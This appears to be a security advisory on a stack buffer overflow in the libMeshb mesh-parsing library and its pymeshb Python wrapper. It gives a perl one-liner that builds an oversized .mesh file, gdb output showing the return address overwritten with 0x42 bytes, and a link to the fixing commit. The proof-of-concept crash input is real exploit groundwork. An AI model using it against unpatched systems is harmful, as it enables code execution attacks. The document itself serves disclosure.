===== Intro ===== libMeshb is a library which supports moving between data types for the Gamma Mesh Format. A buffer overflow was found when parsing the MESH format and specially crafted .mesh files could allow for arbitrary code execution. ===== Repro ===== No magic bytes or valid header necessary as the bug appears to be an unbounded fscanf() processing mesh headers. echo -ne `perl -e 'print "B" x 2176'` > test.mesh ======== Debugger ======== (gdb) r test.mesh /tmp/empty.mesh Starting program: mesh2poly test.mesh /tmp/empty.mesh *** stack smashing detected ***: terminated Program received signal SIGABRT, Aborted. __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 (gdb) bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7ddb859 in __GI_abort () at abort.c:79 #2 0x00007ffff7e463ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f7007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155 #3 0x00007ffff7ee8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7f70064 "stack smashing detected") at fortify_fail.c:26 #4 0x00007ffff7ee8b16 in __stack_chk_fail () at stack_chk_fail.c:24 #5 0x000055555555b5d2 in GmfOpenMesh () #6 0x4242424242424242 in ?? () #7 0x0000000000000000 in ?? () (gdb) exploitable Description: Stack buffer overflow Short description: StackBufferOverflow (6/22) Hash: ea307ff89c1110d6e6c6f565bfc6a9ce.350b4f5ab2938b2eb4fa0a598f3508e1 Exploitability Classification: EXPLOITABLE Explanation: The target stopped while handling a signal that was generated by libc due to detection of a stack buffer overflow. Stack buffer overflows are generally considered exploitable. Other tags: PossibleStackCorruption (7/22), AbortSignal (20/22) This also affects the python wrapper library pymeshb. >>> import pymeshb >>> pymeshb.read('test.mesh') *** stack smashing detected ***: terminated Aborted (core dumped) === Fix === libMeshb v7.62 - https://github.com/LoicMarechal/libMeshb/commit/8cd68c54e0647c0030ae4506a225ad4a2655c316